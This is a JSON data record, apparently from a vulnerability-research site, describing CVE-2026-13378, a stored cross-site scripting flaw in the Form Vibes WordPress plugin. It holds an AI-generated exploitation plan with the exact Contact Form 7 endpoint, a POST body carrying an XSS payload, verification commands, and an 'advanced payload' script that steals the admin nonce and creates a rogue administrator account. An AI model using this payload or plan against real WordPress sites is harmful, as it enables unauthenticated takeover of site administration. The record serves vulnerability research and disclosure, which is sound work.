[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fXB6vj-AMYDyZeddYkXMdCV_8tJVULoQgkLx7xql8Qs4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":33},"CVE-2026-13378","form-vibes-unauthenticated-stored-cross-site-scripting-via-contact-form-7-form-field","Form Vibes \u003C= 1.5.2 - Unauthenticated Stored Cross-Site Scripting via Contact Form 7 Form Field","The Form Vibes – Database Manager for Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Contact Form 7 Form Field in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","form-vibes",null,"\u003C=1.5.2","1.5.3","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 16:30:45","2026-07-11 04:32:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc6716a5d-48ed-4735-b765-a7606ea401d0?source=api-prod",1,[22,23,24,25],"assets\u002Fdist\u002Fassets\u002Fcheckbox-8506caf4.js","assets\u002Fdist\u002Fassets\u002Fcheckbox-8506caf4.js.map","assets\u002Fdist\u002Fassets\u002Fcollapse-item-20cd97f9.js","assets\u002Fdist\u002Fassets\u002Fcollapse-item-20cd97f9.js.map","researched",false,3,"This exploitation research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Form Vibes** plugin (CVE-2026-13378).\n\n### 1. Vulnerability Summary\nThe **Form Vibes** plugin captures and stores submissions from Contact Form 7 (CF7). Version 1.5.2 and below fail to sanitize user-supplied data during storage or escape it during output in the WordPress admin dashboard. An unauthenticated attacker can submit a CF7 form containing a malicious script. When an administrator views the \"Form Vibes\" submissions page, the script executes in their browser context, potentially leading to session hijacking or administrative account takeover.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** The Contact Form 7 submission handler (typically `wp-json\u002Fcontact-form-7\u002Fv1\u002Fcontact-forms\u002F{id}\u002Ffeedback` or `admin-ajax.php`).\n*   **Vulnerable Parameter:** Any form field defined in the Contact Form 7 form (e.g., `your-name`, `your-message`, or custom fields).\n*   **Authentication:** None (Unauthenticated). Contact Form 7 forms are designed for public use.\n*   **Preconditions:** \n    1.  Contact Form 7 must be installed and a form must be active.\n    2.  Form Vibes must be configured to capture submissions for that form (default behavior).\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to the CF7 submission endpoint.\n2.  **Processing (CF7):** CF7 processes the submission and triggers hooks for third-party integration.\n3.  **Capture (Form Vibes):** Form Vibes hooks into CF7 (likely via `wpcf7_before_send_mail` or `wpcf7_submit`). It extracts the `$_POST` data.\n4.  **Storage:** The plugin saves the raw, unsanitized submission data into the database (likely a table like `wp_fv_submissions`).\n5.  **Rendering (Sink):** An administrator navigates to the Form Vibes \"Submissions\" page. The plugin retrieves the data and renders it in a Vue-based admin UI (referencing `assets\u002Fdist\u002Fassets\u002Fcheckbox-8506caf4.js` and `collapse-item-20cd97f9.js` for UI components). The data is output without sufficient escaping (e.g., using `v-html` or unescaped PHP `echo`).\n\n### 4. Nonce Acquisition Strategy\nWhile Contact Form 7 uses nonces for some internal functions, unauthenticated submissions to public forms usually do not require a valid WordPress user nonce. However, CF7 forms require a `_wpcf7` (Form ID) and `_wpcf7_unit_tag`.\n\n**Strategy:**\n1.  Navigate to the public page containing the Contact Form 7 form using `browser_navigate`.\n2.  Use `browser_eval` to extract the necessary form metadata from the DOM.\n3.  The Form ID is found in the `name=\"_wpcf7\"` hidden input.\n4.  The Unit Tag is found in the `name=\"_wpcf7_unit_tag\"` hidden input.\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload that executes when an admin views the submissions.\n\n**Step-by-Step Plan:**\n1.  **Identify Form:** Locate a published page with a CF7 form and extract the `_wpcf7` ID.\n2.  **Craft Payload:** Use a standard XSS payload: `\u003Cimg src=x onerror=alert(document.domain)>`.\n3.  **Submit Form:** Use the `http_request` tool to perform a POST request mimicking a legitimate CF7 submission.\n\n**HTTP Request Details:**\n*   **URL:** `https:\u002F\u002F[target]\u002Fwp-json\u002Fcontact-form-7\u002Fv1\u002Fcontact-forms\u002F[FORM_ID]\u002Ffeedback`\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body Parameters:**\n    *   `_wpcf7`: `[FORM_ID]`\n    *   `_wpcf7_version`: `[VERSION]`\n    *   `_wpcf7_locale`: `en_US`\n    *   `_wpcf7_unit_tag`: `[UNIT_TAG]`\n    *   `_wpcf7_container_post`: `[POST_ID]`\n    *   `your-name`: `\u003Cimg src=x onerror=alert(document.domain)>`\n    *   `your-email`: `attacker@example.com`\n    *   `your-subject`: `Security Research`\n    *   `your-message`: `Testing XSS`\n\n### 6. Test Data Setup\n1.  **Install Plugins:** Install `contact-form-7` and `form-vibes` (v1.5.2).\n2.  **Create Form:** Use CF7 to create a basic form (ID 123).\n3.  **Create Page:** Create a public page containing the shortcode: `[contact-form-7 id=\"123\" title=\"Contact form 1\"]`.\n4.  **User:** Ensure an administrative user exists to trigger the payload.\n\n### 7. Expected Results\n*   The CF7 submission should return a `200 OK` with a JSON body indicating success (e.g., `{\"status\":\"mail_sent\", ...}`).\n*   When the administrator visits `\u002Fwp-admin\u002Fadmin.php?page=form-vibes`, the browser will render the injected `\u003Cimg>` tag.\n*   The `onerror` event will trigger, executing `alert(document.domain)`.\n\n### 8. Verification Steps\n1.  **Database Check:** Use WP-CLI to verify the payload is stored raw in the database:\n    `wp db query \"SELECT * FROM wp_fv_submissions WHERE form_id=123 ORDER BY id DESC LIMIT 1;\"`\n2.  **Admin UI Simulation:** Navigate to the Form Vibes dashboard in the browser as an admin and check for the alert box.\n3.  **Source Check:** Use `browser_eval` on the admin page to check if the payload is rendered in the DOM without entity encoding:\n    `browser_eval(\"document.body.innerHTML.includes('\u003Cimg src=x onerror=alert')\")`\n\n### 9. Alternative Approaches\n*   **Rest API Sink:** If the admin UI fetches data via the REST API, check the `wp-json\u002Fform-vibes\u002Fv1\u002Fsubmissions` endpoint (inferred) to see if the JSON response contains the unescaped payload.\n*   **Bypass Attempts:** If `your-name` is sanitized, try injecting into `your-message` or the `_wpcf7_unit_tag` (if Form Vibes captures internal CF7 metadata).\n*   **Advanced Payload:** Instead of `alert()`, use a payload to steal the admin's nonce and create a new administrator:\n    ```html\n    \u003Cscript>\n    fetch('\u002Fwp-admin\u002Fuser-new.php').then(r => r.text()).then(h => {\n      const n = h.match(\u002Fname=\"_wpnonce_create-user\" value=\"([^\"]+)\"\u002F)[1];\n      fetch('\u002Fwp-admin\u002Fuser-new.php', {\n        method: 'POST',\n        headers: {'Content-Type': 'application\u002Fx-www-form-urlencoded'},\n        body: `action=createuser&_wpnonce_create-user=${n}&user_login=hacker&email=h@acker.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator`\n      });\n    });\n    \u003C\u002Fscript>\n    ```","gemini-3-flash-preview","2026-07-15 08:42:32","2026-07-15 08:43:29",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fform-vibes\u002Ftags\u002F1.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fform-vibes.1.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fform-vibes\u002Ftags\u002F1.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fform-vibes.1.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fform-vibes\u002Ftags"]